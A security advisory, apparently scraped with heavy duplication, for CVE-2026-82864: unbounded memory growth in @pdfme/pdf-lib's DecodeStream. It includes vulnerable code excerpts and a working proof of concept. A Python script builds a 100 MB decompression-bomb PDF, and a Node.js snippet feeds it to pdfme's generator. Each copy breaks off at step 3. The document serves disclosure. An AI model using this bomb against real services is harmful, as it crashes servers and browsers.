CVE-2026-82864

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Summary

The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

Details

The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).

Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

Unconditional full decompression in decode() — DecodeStream.ts:139-141:

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

And again at line 297-300:

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

Entry point via basePdf — packages/generator/src/helper.ts:42-43:

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.

The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.

PoC

Step 1: Create a decompression bomb PDF

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

Step 2: Trigger via @pdfme/generator

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

**Step 3: Observe…

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.

Summary

The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

Details

The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).

Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

Unconditional full decompression in decode() — DecodeStream.ts:139-141:

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

And again at line 297-300:

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

Entry point via basePdf — packages/generator/src/helper.ts:42-43:

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.

The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.

PoC

Step 1: Create a decompression bomb PDF

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

Step 2: Trigger via @pdfme/generator

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

**Step 3: Observe…